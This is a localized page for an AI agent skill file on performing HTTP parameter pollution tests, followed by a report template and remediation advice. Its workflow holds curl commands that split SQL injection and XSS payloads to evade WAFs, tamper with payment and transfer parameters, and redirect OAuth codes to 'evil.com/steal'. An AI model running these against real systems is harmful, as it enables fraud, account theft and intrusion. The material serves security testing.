界面已本地化;技能介绍与说明文档按所选语言由 AI 自动翻译,代码、命令、路径和专业术语保留原文,以原作者文档为准。
探索技能
效率与协作 · SKILL.md

performing-http-parameter-pollution-attack

performing-http-parameter-pollution-attack

【效率与协作】执行 HTTP 参数污染(HPP)攻击,通过注入由前端和后端系统以不同方式处理的重复参数,绕过输入验证、WAF 规则和安全控制。

独立 GitHub 快照 · 自动分类 · 以原作者文档为准

技能说明

GitHub

name: performing-http-parameter-pollution-attack description: 执行 HTTP 参数污染(HPP)攻击,通过注入由前端和后端系统以不同方式处理的重复参数,绕过输入验证、WAF 规则和安全控制。 domain: cybersecurity subdomain: web-application-security tags: [http-parameter-pollution, hpp, waf-bypass, input-validation, web-security, parameter-injection, server-parsing] version: "1.0" author: mahipal license: Apache-2.0

执行 HTTP 参数污染攻击(Performing HTTP Parameter Pollution Attack)

适用场景

  • 测试 Web 应用程序的输入验证绕过漏洞时
  • 在 WAF 规避测试期间,将攻击载荷分散到重复参数中
  • 评估不同技术栈如何处理重复 HTTP 参数时
  • 在 API 安全测试期间识别参数优先级问题时
  • 测试 OAuth 或支付处理流程的参数操控时

前置条件

  • Burp Suite Professional,带有 Intruder 和 Repeater 模块
  • 了解 HTTP 协议和查询字符串解析
  • 掌握服务器端参数处理差异(第一个、最后一个、数组、连接)
  • cURL 或 httpie,用于手动参数构造
  • 识别目标应用程序技术栈(Apache、IIS、Tomcat、Node.js 等)

工作流程

步骤 1 — 识别参数处理行为

# 测试服务器如何处理重复参数
# 不同服务器对重复参数的处理方式不同:
# Apache/PHP:最后一个参数值
# ASP.NET/IIS:所有值以逗号连接
# JSP/Tomcat:第一个参数值
# Node.js/Express:值的数组
# Python/Flask:第一个参数值

curl -v "http://target.com/search?q=first&q=second"
# 观察应用程序在响应中使用哪个值

# 测试 POST 请求体中的重复参数
curl -X POST http://target.com/api/action \
  -d "amount=100&amount=1"

步骤 2 — 执行服务器端 HPP

# 通过分割载荷绕过输入验证
# 原始被阻止的载荷:id=1 OR 1=1
curl "http://target.com/api/user?id=1%20OR%201%3D1"  # 被 WAF 阻止

# HPP 绕过:分散到重复参数中
curl "http://target.com/api/user?id=1%20OR&id=1%3D1"  # 可能绕过 WAF

# POST 请求体中的参数污染
curl -X POST http://target.com/transfer \
  -d "to_account=victim&amount=100&to_account=attacker"

# 覆盖安全关键参数
curl -X POST http://target.com/api/payment \
  -d "price=99.99&currency=USD&price=0.01"

步骤 3 — 执行客户端 HPP

# 通过 URL 操控进行客户端 HPP
# 如果应用程序在链接中反映参数:
# 原始:http://target.com/page?param=value
# 注入:http://target.com/page?param=value%26injected_param=evil_value

# 社交分享 URL 操控
curl "http://target.com/share?url=http://legit.com%26callback=http://evil.com"

# 注入嵌入链接
curl "http://target.com/redirect?url=http://trusted.com%26token=stolen_value"

步骤 4 — 使用 HPP 绕过 WAF 规则

# WAF 通常检查单个参数值
# 将 SQL 注入分散到多个参数
curl "http://target.com/search?q=1' UNION&q=SELECT password FROM users--"

# 分割 XSS 载荷
curl "http://target.com/search?q=<script>&q=alert(1)</script>"

# URL 编码 HPP 绕过
curl "http://target.com/api/data?filter=admin%26role=superadmin"

# HTTP 头部中的 HPP
curl -H "X-Forwarded-For: 127.0.0.1" \
     -H "X-Forwarded-For: attacker-ip" \
     http://target.com/api/admin

步骤 5 — 测试 OAuth 和支付流程 HPP

# OAuth 授权码 HPP
# 注入重复的 redirect_uri 以窃取授权码
curl "http://target.com/oauth/authorize?client_id=legit&redirect_uri=https://legit.com/callback&redirect_uri=https://evil.com/steal"

# 支付金额操控
curl -X POST http://target.com/api/checkout \
  -d "item=product1&price=100&quantity=1&price=1"

# 优惠券码 HPP
curl -X POST http://target.com/api/apply-coupon \
  -d "coupon=SAVE10&coupon=SAVE90&coupon=FREE"

步骤 6 — 自动化 HPP 测试

# 使用 Burp Intruder 进行参数复制
# 在 Burp Repeater 中手动添加重复参数
# 使用 param-miner Burp 扩展自动发现

# 使用 OWASP ZAP HPP 扫描器测试
zap-cli quick-scan --self-contained --start-options '-config api.disablekey=true' \
  http://target.com

# 使用 Python 进行自定义测试
python3 hpp_tester.py --url http://target.com/api/action \
  --params "id,role,amount" --method POST

核心概念

概念定义
服务器端 HPP(Server-Side HPP)后端以不同方式处理重复参数,导致逻辑绕过
客户端 HPP(Client-Side HPP)注入的参数被反映在发送给其他用户的 URL/链接中
参数优先级(Parameter Precedence)服务器行为:第一个获胜、最后一个获胜、连接或数组
WAF 规避(WAF Evasion)将攻击载荷分散到重复参数以避免检测
特定技术解析(Technology-Specific Parsing)不同框架对重复参数的处理方式不同
URL 编码 HPP(URL Encoding HPP)使用 %26(编码的 &)在值中注入额外参数
头部污染(Header Pollution)发送重复 HTTP 头以利用转发或信任逻辑

工具与系统

工具用途
Burp Suite用于拦截和复制参数的 HTTP 代理
param-miner用于发现隐藏和重复参数的 Burp 扩展
OWASP ZAP具备 HPP 检测功能的自动化扫描器
Arjun隐藏 HTTP 参数发现工具
ffuf用于参数暴力破解和复制测试的模糊测试工具
Wfuzz支持参数操控的 Web 应用程序模糊测试器

常见场景

  1. WAF 绕过 — 将 SQL 注入或 XSS 载荷分散到重复参数中,WAF 单独检查值但服务器将其连接
  2. 支付操控 — 在电商结账流程中通过提交重复参数值来覆盖价格或数量参数
  3. OAuth 重定向劫持 — 注入重复的 redirect_uri 参数,将授权码重定向到攻击者控制的服务器
  4. 访问控制绕过 — 覆盖请求中的角色或权限参数以提升权限或访问受限资源
  5. 输入验证绕过 — 通过注入意外的重复参数来规避客户端或服务器端验证

输出格式

## HTTP 参数污染评估报告
- **目标**:http://target.com
- **服务器技术**:ASP.NET/IIS(连接行为)
- **漏洞**:支付端点的服务器端 HPP

### 参数处理矩阵
| 技术 | 行为 | 已测试 |
|-----------|----------|--------|
| Apache/PHP | 最后一个值 | 是 |
| IIS/ASP.NET | 逗号连接 | 是 |
| Node.js | 数组 | 是 |

### 发现
| # | 端点 | 参数 | 影响 | 严重程度 |
|---|----------|-----------|--------|----------|
| 1 | POST /checkout | price | 价格操控 | 严重 |
| 2 | GET /oauth/authorize | redirect_uri | 令牌窃取 | 高 |
| 3 | POST /api/search | q | WAF 绕过(SQLi) | 高 |

### 修复建议
- 实施严格的参数验证,拒绝重复参数
- 使用任何参数的第一个出现值,忽略后续重复值
- 应用能检测重复参数模式的 WAF 规则
- 无论客户端检查如何,始终在服务器端验证所有参数
我的收藏